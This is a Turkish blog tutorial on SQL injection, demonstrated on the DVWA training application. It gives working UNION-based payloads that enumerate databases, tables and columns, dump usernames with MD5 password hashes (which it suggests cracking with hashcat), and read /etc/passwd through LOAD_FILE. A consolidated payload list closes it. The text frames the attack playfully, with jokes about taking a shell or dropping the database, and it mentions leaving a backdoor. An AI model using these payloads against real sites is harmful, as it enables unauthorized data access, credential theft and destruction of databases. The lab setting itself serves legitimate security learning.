SQL İnjection Saldırısı ve Payloadlar

SQL Injection web uygulamalarındaki en ciddi güvenlik açıklardan birisidir. Birçok web sitesinde ufak denemelerle açığı bulabilirsiz. Sql injection saldırısı ile hedef sitenin bütün veritabanına erişip site yöneticisi konumuna dahi gelebilirsiniz. Teknolojinin ilerlemesi ve gelişmesiyle çıkan frameworkler biraz da olsa bu açığı engellemeyi başarmıştır.

Sql injectionın tehlikeli bir saldırı çeşidi olmasının nedeni, saldırganın direk veritabanına müdahele etmesidir. Ufak bir sql injection payloadı ile veri tabanındaki varolan bütün veriler silinebilir veya kopyalanabilir. Bu nedenle sql sorguları oluşturulurken çok dikkatli olunması gerekir.

SQL Injectıon var mı yok mu ? Nasıl anlaşılır?

Sql ınjecktıon’ ı anlamanın en kolay yöntemı url de get ile alınan id değerlerinin yerine basitçe bir ‘ (tırnak) işareti konmasıdır . Tırnak işareti koyduğunuz zaman sitenin size veritabnanından ilgili sorgu ile data getireceği yerde hata alıyorsanız, tebrikler ilk payload ınız çalışmıştır. Bu tırnak işaretini koyduğunuzda sayfa içerisinde mutlaka syntax hatası verecektir ve şöyle bir hata alacaksınız

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’’ at line 1 Bu hata ile karşılaşırsanız veritabanına hatta serverın terminaline çok yakınsınız demektir. Bu işlemlerden sonrası sizin hayal gücünüze ve yapabileceklerinize kalıyor. İster shell alın ister database i drop edip ortamdan uzaklaşın :D

Sql İnjecktion Örnek Kullanımları

Örnegin bir sitede kullanıcıların numaraları yani id değerleri vardır ve bu numaraya göre hangi id de hangi kullanıcı kayıtlı ise o kullanıcının bilgilerini görebilirsiniz. Peki kullanıcı kendi numarasının yanına bır sql sorgusu veya herhangi bir sql injection payloadı eklerse ne olacak?

Örnek olarak : 35’ or ‘1’ = ‘1’ # (35 burada temsilidir buraya 0 da yazsak yine aynı sonucu alırız) Bu sorgunun anlamı 35 numaralı kullanıcınn bılgılerı yada 1=1 yani mantıksal olarak true degerini taşıyan verılerı getır.Burda her zaman true dönecegi için butun kullanıcıların bılgılerı lıstelenmeye baslayacaktır.Bu yöntem ile sözde izniniz olmayan bütün kullanıcıları listeleme işlemini yapmış olursunuz.Bu yöntem ile bir silme işlemi id ye göre yapılıyorsa ve siz bu işlemin bu şekilde yapıldıgını bılıyorsanız oraya bu kodu yazdıgınızda butun kullanıcılar sılınecektir.Burdan sonrası sızın hayal gücünüze kalıyor aslında.

Order By :

Sql sorgusuna kendı sql sorgularımızı eklemek ıcın UNION kullanmamız gerekir.Bu kod parçası solunda ve sağındaki SQL sorgularının çektiği satırları alt alt toplamaya yarar.Ama şöyleki sağındaki ve solundaki sorgudaki field sayısı eşit olmalıdır.

Aslında Order By sql de sıralama yapmamıza yarayan kod parcagıdır.Ama sql ınjecktıon da kolon sayısını bulmamıza yarar.Order by ı sırayla yazdıgımızda kolon sayısından bir fazlasını yazdıgımızda bıze bır hata verecektır.

Unknown column ‘10’! Yani Order By 3 dedıgımızde hata verdıyse o sorguda 2 kolon ıle ıslem yapılıyordur.

DVWA da sql injection kısmında bu açığı denemeye başlıyoruz ve sırasıyla 1 den başlayarak yazıyoruz.

35’ or ‘1’ = ‘1’ ORDER BY 1 # Burada 1 yerıne her defeasında artırıyoruz ve 3 yazdıgımızda hata verdıgını gorecegız.Buradan anlıyoruzkı bu sorguda 2 kolon ile ıslem yapılıyor.

Source koduna baktıgımzda sorguda sadece  first_name, last_name kolonlarının kullandıgını goreceksınız.

UNION ile SQL İlave Etmek

35’ or ‘1’ = ‘1’ UNION Select 1,2 # Bu kodu yazdıgımızda lıstenın en altındakı alanda fırstname de1 last namede 2 yazdıgını görecegız.Biz burda 1 ve 2  yı tamamen test amacıyla yaptık sımdı 1 ve 2 yerıne sql ıcın anlamlı olan kodları yazdıgımızda alacagımız cıktıyı gorelım.

35’ or ‘1’ = ‘1’ UNION Select version(),2 #  artık 1 verısı yerıne mysql ın versıyonunu gorebılıyoruz. 1 ve 2 yazdıgımız alana yazabılecegımız bazı anlamlı kodlar: User()  →verıtabanın kullanıcı adını verır. Database()  →verıtabanın adını verır. @@datadir  →> verıtabanın yuklu oldugu dızın. PhpMyadmindeki  butun veritabanı isimlerini öğrenmek: Bu ıslem ıcın information_schema adlı verıtabanından yararlanıcaz ama bu verıtabanı sadece    sürüm 5 den buyuk olanlarda vardır. Hedef sıstemın ıcındekı verıtabanı ısımlerını information_schema içindeki  schemata adlı tablodan schema_name adlı kolondan yararlanıcaz. 35’ or ‘1’ = ‘1’ UNION Select 1,schema_name from information_schema.schemata # Bu kod yardımıyla sistemdeki butun verıtabanı ısımlerını lısteletebılıriz. Bu sorguyla  dvwa tablosunun ıcındekı tablo isimlerini lısteletmek ıcın bu kodu kullanabılırz. 35’ or ‘1’ = ‘1’ UNION Select 1,group_concat(table_name) from information_schema.tables Where table_schema=’dvwa’ # burdan gördüğümüz user tablosunun içindekı kolonları öğrenmek ıcın

35’ or ‘1’ = ‘1’ UNION Select 1,group_concat(column_name) from information_schema.columns Where table_name=’users’ # users tablosu ıcındekı butun kolon ısımlerını bu sekılde gorebılırz burada dıkkatımızı ceken user ve password bızım ısımıze yarayacak onemlı yerler. 0x3b hexadecimal sistemde noktalı virgül (;) anlamına gelir. 0x0a ise hexadecimal sistemde satır atlatma anlamına gelir. Assadakı sorgu yardımıyla kullanıcıların kullanıcı adı ve passwordu elde edebılıyoruz. 35’ or ‘1’ = ‘1’ UNION Select 1,group_concat(user,0x3b,password,0x0a) from dvwa.users # İşlem sonucunda aldığımız çıktı:

ID: 35’ or ‘1’ = ‘1’ UNION Select 1,group_concat(user,0x3b,password,0x0a) from dvwa.users # First name: 1 Surname: admin;5f4dcc3b5aa765d61d8327deb882cf35 ,gordonb;e35a18c428cb38d5f260853678922e03 ,1337;8d3533d75ae2c3966d7e0d4fcc69216b ,pablo;0d107d09f5bbe40cade3de5c71e9e9b7 ,smithy;5f4dcc3b5aa765d61d8327deb882cf35 seklınde olacaktır.md5 ıle sıfrelenmıs sıfreyı de hashcat yardımıyla kırabiliriz. SQL Injecktion yardımıyla passwd dosyasına ulasmak:

35’ or ‘1’ = ‘1’ UNION Select null, LOAD_FILE(‘/etc/passwd’) # Yazdıgımız bu kod bize o serverdaki kullanıcı bilgilerini getirecektir.

ID: 35’ or ‘1’ = ‘1’ UNION Select null, LOAD_FILE(‘/etc/passwd’) # First name:
Surname: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:……..bla bla bla

………………:/usr/bin/zsh mysql:x:120:129:MySQL Server,,,:/nonexistent:/bin/false nvidia-persistenced:x:121:130:NVIDIA Persistence Daemon,,,:/:/sbin/nologin Bu bilgilerde bizim için brutforce işlemi için kullanabilecegiğimiz kullanıcı isimleri bulunuyor.Bu bize brutforce işleminde şansımzı ve hızımızı 2 ye katlama ımkanı verıyor.

Sql injection yöntemiyle serverın termınalınede düşebilirsiniz.Bunun için kendinize önce bir backdoor bırakabılır ve web sayfasında serverın termınalıne erısebılırsınız.

İşlemler boyunca kullandıgımız bütün payloadlar

35’ or ‘1’ = ‘1’ #

35’ or ‘1’ = ‘1’ ORDER BY 1 #

35’ or ‘1’ = ‘1’ ORDER BY 2 #

35’ or ‘1’ = ‘1’ ORDER BY 3 #

35’ or ‘1’ = ‘1’ UNION Select 1,2 #

35’ or ‘1’ = ‘1’ UNION Select 1,version() #

35’ or ‘1’ = ‘1’ UNION Select 1,schema_name from information_schema.schemata #

35’ or ‘1’ = ‘1’ UNION Select 1,group_concat(schema_name) from information_schema.schemata #

35’ or ‘1’ = ‘1’ UNION Select 1,group_concat(table_name) from information_schema.tables Where table_schema=’dvwa’ #

35’ or ‘1’ = ‘1’ UNION Select 1,group_concat(column_name) from information_schema.columns Where table_name=’users’ #

35’ or ‘1’ = ‘1’ UNION Select 1,group_concat(user,0x3b,password,0x0a) from dvwa.users #


Yapılan Yorumlar
Erdem OFLAZ

Bir mum, diğer mumu tutuşturmakla ışığından bir şey kaybetmez.
 Kategoriler
 Popüler yazılar